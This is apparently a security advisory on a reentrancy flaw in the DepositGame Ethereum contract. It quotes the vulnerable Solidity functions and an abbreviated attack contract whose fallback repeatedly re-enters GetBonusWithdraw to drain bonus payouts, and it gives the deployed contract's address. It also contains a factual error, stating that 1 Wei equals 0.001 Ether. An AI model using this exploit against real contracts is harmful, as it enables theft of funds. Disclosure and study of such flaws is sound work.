Skip to content

Latest commit

 

History

History
115 lines (90 loc) · 5.55 KB

File metadata and controls

115 lines (90 loc) · 5.55 KB

DepositGame-reentrancy

Vendor

DepositGame

Vulnerability Type

Reentrancy

Abstract

We found a vulnerability in the smart contract of DepositGame, which is an Ethereum deposit game. You can deposit some money to the contract and then withdraw your money. But you will not get the exact amount A of money that you have deposited, instead you will get a random amount of money, which is within [0.9A, 1.1A]. However, the withdraw function shares the user balance variable _balances with another function GetBonusWithdraw. Although the withdraw function itself is safe, however, attackers can modify user balances using function GetBonusWithdraw and then re-enter the withdraw function to steal money.

Details

The DepositGame is an Ethereum deposit bet game. You can deposit some money as the game bet and then withdraw money for your game bet. When you withdraw your money, you will not get the exact amount of money that you have deposited, instead you will get a random amount of money floating up and down with a 10% randomness. For example, if the player deposits 10 Ether, and then withdraws the money, the amount of money he withdraws will be a random number within 10 * 90% = 9 Ether and 10 * 110% = 11 Ether. This game allows a player to deposit money with deposit by sending Ether to the contract.

    function deposit() public payable {
        _balances[msg.sender] += msg.value;
        TotalAmount += msg.value;
        FirstTimeBonus[msg.sender] = false;
    }

Then, the player can withdraw his/her money via function call withdraw. The withdraw function will generate a random number pendingWithdrawal according to the money the player has deposited and then pay the pendingWithdrawal Wei (1 Wei = 0.001 Ether) to the player.

    function withdraw() public payable {
        uint amount;
        uint randomNumber;
        uint pendingWithdrawal;
        amount = _balances[msg.sender];
        randomNumber = random() - 10;  // randomNumber is a random number between -10 and 10
        pendingWithdrawal = amount * (100 + randomNumber) / 100;
        if(pendingWithdrawal != 0){
            _balances[msg.sender] -= pendingWithdrawal;
            require(msg.sender.call.value(pendingWithdrawal)(""));
        }
        TotalAmount -= pendingWithdrawal;
    }

Although the withdraw function itself is safe, however, it shares the user balance variable _balances with the GetBonusWithdraw function. The GetBonusWithdraw function allows a player to get a 10 Wei bonus when the player plays the game for the first time. Instead of using withdraw function, a player can also withdraw his/her game bet using GetBonusWithdraw function, where he/she will get both his/her game bet and his/her 10 Wei first-time bonus.

However, in the GetBonusWithdraw function, the user balance is increased by 10, namely _balances[msg.sender] += 10;, before the FirstTimeBonus flag is set to true. An attacker can take advantage of this to increase his/her user balance multiple times and re-enter the withdraw function to steal money.

    function GetBonusWithdraw() public payable {
        if(FirstTimeBonus[msg.sender] != true){
          _balances[msg.sender] += 10;
          withdraw();
        }
        FirstTimeBonus[msg.sender] = true;
    }

    function random() public returns (uint256) {
        return uint(keccak256(block.timestamp)) % MaxNumber + 1;
    }

Exploit

Below is the attack contract that exploits the GetBonusWithdraw function. We can utilize the sharing variable _balances to steal money easily.

    contract Malicious {
      ...
      
      function attack(){
        vul.GetBonusWithdraw(_owner);
      }
    
      function () payable{ // fallback function
        count++;
        if(count < 10){
          vul.GetBonusWithdraw(_owner);
        }
      }
    }

Analysis The attack contract Malicious initializes the attack by calling the GetBonusWithdraw function of the DepositGame contract. Since it is the first time the attack contract plays the game, its user balance will be increased by 10 Wei, namely the first-time bonus. Then, the DepositGame will withdraw the 10 Wei bonus to Malicious. This money transfer operation will trigger the fallback function of Malicious. However, in its fallback function, Malicious calls GetBonusWithdraw function again to steal money. Since the user balance variable _balances[msg.sender] in function GetBonusWithdraw is added to 10 before the money transfer and has not been reduced yet, contract DepositGame wrongly believes that Malicious still has 10 Wei available balance. DepositGame thus transfers 10 Wei to Malicious for the second time. Similarly, the DepositGame may transfer 10 Wei to Malicious for the third time, fourth time and so forth.

Conclusion

It is not safe to modify a variable, e.g., FirstTimeBonus, that is closely related to the user balance variable after money transfer. Instead, all variables closely related to user balance should be modified before money transfer. This is because attackers may take advantage of the intermediate state that the variable is in to modify user balance and then perform an invalid second-time transfer. We would like to point out that this reentrancy vulnerability can bypass the detection of many automatic smart contract checking tools.

Reference

Ethereum Official Website

https://etherscan.io/

Explorer

https://etherscan.io/address/0x89f9749ce943281b8c65fec7f15e126f8cf4edb1#code

DepositGame

https://github.com/Messi-Q/SmartConrtactGames/blob/master/DepositGame.sol